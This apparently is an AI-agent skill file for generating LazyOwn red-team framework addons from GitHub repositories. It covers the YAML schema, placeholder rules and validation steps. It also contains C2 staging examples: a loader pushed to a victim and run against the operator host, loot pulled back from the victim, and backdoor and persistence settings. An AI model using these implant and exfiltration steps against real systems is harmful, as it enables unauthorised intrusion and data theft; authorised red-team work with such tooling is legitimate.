Skill v1.0.1
currentLLM-judged scan95/100+4 new
name: lazyaddon-creator description: "Create a working LazyOwn lazyaddon YAML from a GitHub URL in one shot. Knows the exact schema, placeholder allowlist, install/execute/C2 staging semantics and validation rules." trigger: /lazyaddon-creator metadata: version: "1.0.1"
/lazyaddon-creator
Given a GitHub URL, write lazyaddons/<name>.yaml that registers the tool as a first-class LazyOwn command on the first try. No iteration: fetch facts, pick the archetype, fill the template, run the self-check, write the file.
Usage
/lazyaddon-creator https://github.com/user/repo
Step 1 — Fetch repo facts
REPO=user/repocurl -fsSL "https://api.github.com/repos/$REPO" | python3 -c "import json,sys; m=json.load(sys.stdin); print(m['name'], '|', m['owner']['login'], '|', m['language'], '|', (m['description'] or '')[:200])"curl -fsSL "https://api.github.com/repos/$REPO/contents/" | python3 -c "import json,sys; print([e['name'] for e in json.load(sys.stdin)])"curl -fsSL "https://raw.githubusercontent.com/$REPO/HEAD/README.md" | head -c 4000
You need: repo name, owner, primary language, root file list, README usage section (the PRIMARY command users run).
Step 2 — Pick the archetype
| # | Archetype | When | Reference addon | |
|---|---|---|---|---|
| A | Cloned tool, local execute | Scanner / analyzer run on operator host | rea.yaml, trivy.yaml | |
| B | Global binary, no build | npm install -g, pipx install, go install tool | gemini-cli.yaml | |
| C | C2 stager | Build implant/loader, stage to sessions/, deliver via lazycommand | beacon.yaml | |
| D | C2 remote ops | Push binary to victim, run it there, pull loot back | CGOblin.yaml | |
| E | No-clone wrapper | Pure execute_command, no repo_url/install_path (already-installed CLI) | opencode_agent.yaml |
Step 3 — Fill the template
name: shortname # do_<name>. MUST match ^[a-z][a-z0-9_]{0,63}$description: | # Shown by help. Max 500 chars. Usage + requirements.What it does. First-time setup. Operator flow with assign.author: Repo Owner # Max 80 charsversion: "1.0" # MUST match ^\d+(\.\d+){0,3}$ — digits and dots onlyenabled: true # Loader defaults to False. Omit this and nothing registers.params: # Max 20. Every placeholder used MUST be declared here...- name: target # ...MUST match ^[a-z][a-z0-9_]{0,47}$, type string|integer|booleantype: stringrequired: true # required=true MUST exist in live shell params# (payload.json or params/*.yaml, see Step 4)description: Path to analyze. Max 200 chars, never empty.os: any # any|linux|windows|macos|network|containers|saas|iaastrigger: [] # nmap service names, or [all]. [] = never auto-suggested.category: "03. Exploitation" # MUST match ^\d{2}\. [name]$ — pick from the table belowmodule_type: exploit # optional: scanner|exploit|payload|auxiliarytool:name: Display Namerepo_url: https://github.com/user/repo.git # MUST end with .git (except archetype E)install_path: external/.exploit/repo # relative, no spaces, no '..'install_command: make # runs ONCE on fresh clone, as: cd <install_path> && <cmd>execute_command: ./tool scan {target} --json # SINGLE braces only. Primary usage, nothing else.
Step 4 — Placeholders (the rule that breaks most addons)
- Single braces only: `{param}`.
{{param}}fails validation and survives substitution visibly. - YAML `default:` NEVER substitutes at runtime. The wrapper (
lazyown.pyvia
utils.replace_command_placeholders) substitutes exclusively from live shell params: payload.json ∪ params/*.yaml. A {token} missing there renders literally into the executed command; a required: true param missing there aborts with a warning before executing. Declaring a param with a default: does NOT make it resolve — the default is documentation only.
- Consequence: every
{token}inexecute_command,install_command,
remote_command, lazycommand, upload_file or download_file MUST resolve from one of three places:
- a builtin key (the documented list below),
- a shared parameter declared in the operator registry
(params/operator.yaml),
- a parameter declared in the addon YAML itself (
params:), which then
belongs to that addon only.
- Declare once, reuse everywhere. A knob more than one addon could use
does NOT go into the addon YAML and does NOT get a payload key of its own. Declare it in the shared registry and it becomes substitutable in every addon, alias and pipeline, and settable with assign, without touching a single source file:
``bash param create c2_profile --kind string --default "default" --desc "C2 profile name" # or: lazy_orchestrator -> Params tab -> a ``
The registry writes params/operator.yaml; core/payload_schema.py and the addon-creator validator pick the key up automatically. Never hand-edit core/payload_schema.py, lazyc2/addon_creator.py or the key list below for an operator parameter: the registry is the single source of truth.
- Generic names only — no branding. A token named after the tool that
first needed it (php2shell_url, commix_target, foo_profile) is a defect: it burns one payload key per addon and the repository ends up with thousands of single-consumer keys. Name the concept, not the tool: url, target, path, profile, exploit_profile, outputdir, data. When no generic name fits, create a generic one in the registry and let every addon share it.
- Builtin keys are the exception. A key that belongs to the framework
itself (routing, C2 wiring, session state) may still be hardcoded, but it is registered in all four places:
params/extended.yaml(runtime value + makesassign <key>work; never edit
payload.json by hand — use assign / lazyown_set_config),
core/payload_schema.pySCHEMA (type coercion + validation),lazyc2/addon_creator.pypayload_placeholders(validator + web creation form),- this list below (documentation).
- Placeholder vs free args — operator text after the command is appended verbatim
AFTER execute_command (cd <install_path> && <execute_command> <free-args>):
- Use a placeholder (+
assignflow) for stable scope/config reused across runs:
region, server URL, scan subcommand, output paths.
- Use free args for per-run input: targets, profiles, extra flags, repeatable
--resource/--namespace. Works with argparse-style optional flags in any position. Does NOT work for positional subcommands (embed them as placeholders, e.g. ./trivy {trivy_scan_type} … {trivy_target}), for ;-chained suite commands (args land on the LAST command only — document "takes no free args"), or for lazycommand-only addons (args append to execute_command, which they lack).
- Secrets are never placeholders (visible in
ps): tokens, secret keys and
passwords travel via env vars (AZURE_ARM_TOKEN, K8S_TOKEN, …) or free args, and the description must say so.
- The default command must be complete and useful with zero free args.
Known builtin payload.json keys (no declaration needed beyond the params entry). Operator parameters are declared at runtime in params/operator.yaml and are therefore not listed here.
aes_key api_key action backdoor_linux_home backdoor_password backdoor_username backdoor_win_homebackdoor_win_service_path baseoutputdir binary_name c2_decoy_mode c2_fallback_urls c2_malleable_routec2_open_registration c2_pass c2_port c2_require_beacon_hmac c2_user ca_name cert_pass cloud_prefixcloud_provider cloud_region data data_file dc_ip device dirwordlist dnswordlist domainemail_from email_password email_to email_username enable_c2_implant_debug enable_chainmode enable_cloudflareenable_operator_presence enable_toasts endip entropia_artifact entropia_harness_args entropia_kind entropia_nameentropia_opsec entropia_out entropia_seed entropia_seed_a entropia_seed_b entropia_src entropia_typeexploitdb exploitgym_admin_key exploitgym_anthropic_key exploitgym_flag_seed exploitgym_model exploitgym_openai_keyexploitgym_path exploitgym_server_api_key exploitgym_server_salt ext field file ghidra_plugin_url ghidra_servergrype_target headers headers_file hide_code ip json_data json_data_file lhost listener lportmcp_host mcp_port method mode nameserver note_text os_id outputdir params params_file pass passwordpath platform port prompt proxy_port query rat_key region report_output_path reverse_shell_port rhost rports sandboxed scan_type scope scope_enforcement sleep sleep_start smtp_port smtp_server spoof_ipsession_magic sleep_activation_delay_max sleep_activation_delay_min sleep_jit_enabled sleep_jit_pct_minsleep_jit_pct_max persistence_cron_schedule persistence_service_name rotate_keys_on_boot max_concurrentproxy_autostart proxy_gc_days proxy_upstream gym_cleanup_on_exitstart_pass start_user startip subdomain target target_path technique_id template_name toast_max_per_tick toolnametopoexploit_path topoexploit_port trivy_scan_type trivy_target tui_theme ui_hints url url_traffic_1url_traffic_2 url_traffic_3 user user_agent_1 user_agent_2 user_agent_3 user_agent_linwinbox_os winbox_install_pathuser_agent_win username usrwordlist wordlist orchestratorlocal_llm llamacpp_host llm_model_llamacpp agent_model_timeoutandroid_serial dirtyinit_device_pathwifi_ssid
Step 5 — Runtime order (design against this, not against wishes)
- Placeholders substitute from live shell params ONLY (
payload.json∪params/*.yaml); missing keys render literally, exceptrequired: trueparams missing from params abort with a warning. - If
install_pathmissing:git clone <repo_url> <install_path>, thencd <install_path> && <install_command>. Install runs only on fresh clone, never again. If the binary is missing later, the operator only gets a warning + hint. - Execute:
cd <install_path> && <execute_command> <free-args>. A missing first token only warns — it never installs. upload_file: comma-separated paths →upload_c2each (C2 must be live).remote_command: placeholders substituted →issue_command_to_c2.download_file: comma-separated victim paths →download_c2each.lazycommand: placeholders substituted, split by comma, each chunk runs as a LazyOwn shell command viaonecmd. Printed, not silent.
Consequences: no commas inside `lazycommand`/`upload_file`/`download_file` entries — a comma is a separator, not punctuation. install_command must leave the tool runnable without operator input. Stage delivery artefacts to sessions/ with stable names so the C2 file endpoint can serve them (../../../sessions/<file> from inside install_path).
Step 6 — install_command decision tree
Makefile/makefile → make (or the README's real target: make windows, make build)go.mod → go build . (cross: GOOS=windows GOARCH=amd64 go build -o loader.exe)setup.py/pyproject.toml → pip install .requirements.txt only → pip install -r requirements.txtCargo.toml → cargo build --release (binary lands in target/release/)package.json (CLI) → npm install && npm run build — or archetype B: npm install -g <pkg>@<ver>CMakeLists.txt → mkdir build && cd build && cmake .. && makeprebuilt releases only → rm -f <bin>; curl -sSfL <release-url> | tar xz -C . <bin> && chmod +x <bin>nothing to build (script) → omit install_command entirely
Prefer the release-tarball pattern (see trivy.yaml/grype.yaml) over building from source when the repo publishes binaries: faster, deterministic, no toolchain dependency.
Step 7 — C2 staging fields (archetypes C and D)
execute_command: make && cp loader ../../../sessions/loader && echo "staged at sessions/loader"upload_file: ./external/.exploit/repo/loader # operator-host path → upload_c2remote_command: chmod +x loader && ./loader -url http://{lhost}/loaderdownload_file: /tmp/loot.txt # victim path → download_c2lazycommand: serve 8000, upload_c2 sessions/loader # LazyOwn shell commands, comma-separated
Use upload_file + remote_command when the binary runs ON the victim; use lazycommand when the operator must run LazyOwn shell commands (serve files, chain commands). env: under tool: is dashboard-only metadata — the CLI wrapper ignores it.
Step 8 — Categories, os, trigger
Categories (MUST match ^\d{2}\. …$): 01. Reconnaissance, 02. Scanning & Enumeration, 03. Exploitation, 04. Evasion & Bypass, 04. Post-Exploitation, 06. Privilege Escalation, 07. Credential Access, 08. Lateral Movement, 09. Data Exfiltration, 10. Command & Control, 11. Reporting, 12. Credential Access & Bypass, 12. Miscellaneous, 16. Artificial Intelligence, 17. Cloud Attacks, 18. Container & Kubernetes, 20. CI/CD Pipeline Attacks.
os: victim platform the addon targets.any= operator-side tool, never filtered. Unknown values warn and fall back toany.trigger: lowercase nmap service names (http,microsoft-ds,ldap) that auto-suggest the addon, or[all]for broad scanners, or[]for manual tools. Max 40, each matching^[a-z0-9][a-z0-9\-]{0,63}$. Never declare services the tool does not genuinely operate against.
Step 9 — One-shot self-check (run before writing)
python3 -m pytest tests/test_placeholder_coverage.py -q
This locks all of the above across the whole repo: validator allowlist ⊇ live keys, schema ⊇ live keys, skill list ⊇ validator, every addon token declared-or-known, every enabled-addon token present in live shell params, every required: true param without default: present in live params. If it fails, do NOT paper over it with a YAML default:. Fix it the right way:
- missing key that other addons could use → declare it once in the shared
registry: param create <generic_name> --kind string --default "" --desc "..." (or lazy_orchestrator → Params tab). The schema and the validator pick it up automatically; no source edit.
- missing key that belongs to the framework itself → register it in the four
places from Step 4.
Plus these manual assertions — every one must hold:
enabled: truepresent. 2.namematches^[a-z][a-z0-9_]{0,63}$and file islazyaddons/<name>.yaml. 3.versionis digits-and-dots. 4.repo_urlends with.git(unless archetype E, which omitsrepo_url+install_path). 5. No{{/}}anywhere. 6. Every{token}resolves from live shell params (payload.json∪params/*.yaml) — verify withpython3 -c "import json,yaml,glob; live=set(json.load(open('payload.json'))); [live.update((yaml.safe_load(open(f)) or {}).keys()) for f in glob.glob('params/*.yaml')]; print('cloud_region' in live)". 7. Everyrequired: trueparam withoutdefault:exists in live params. 8.execute_commandis the tool's primary usage, complete without free args. 9. No commas inside any singlelazycommand/upload_file/download_fileentry. 10.descriptiondocuments first-time setup + theassign <key>flow (only for keys that exist) + free-args examples. 11.install_commandis non-interactive and idempotent enough for a fresh clone. 12.category/os/triggermatch the Step 8 tables. 13. No secrets as placeholders — env vars or free args only. 14. No branded placeholder: every token is a builtin key, a shared registry parameter, or a concept name (url,target,profile) — never a tool name.
Step 10 — Write and register
Write to lazyaddons/<name>.yaml, then inside the LazyOwn shell run reload_addons (or restart). Verify with list_addons and help <name>.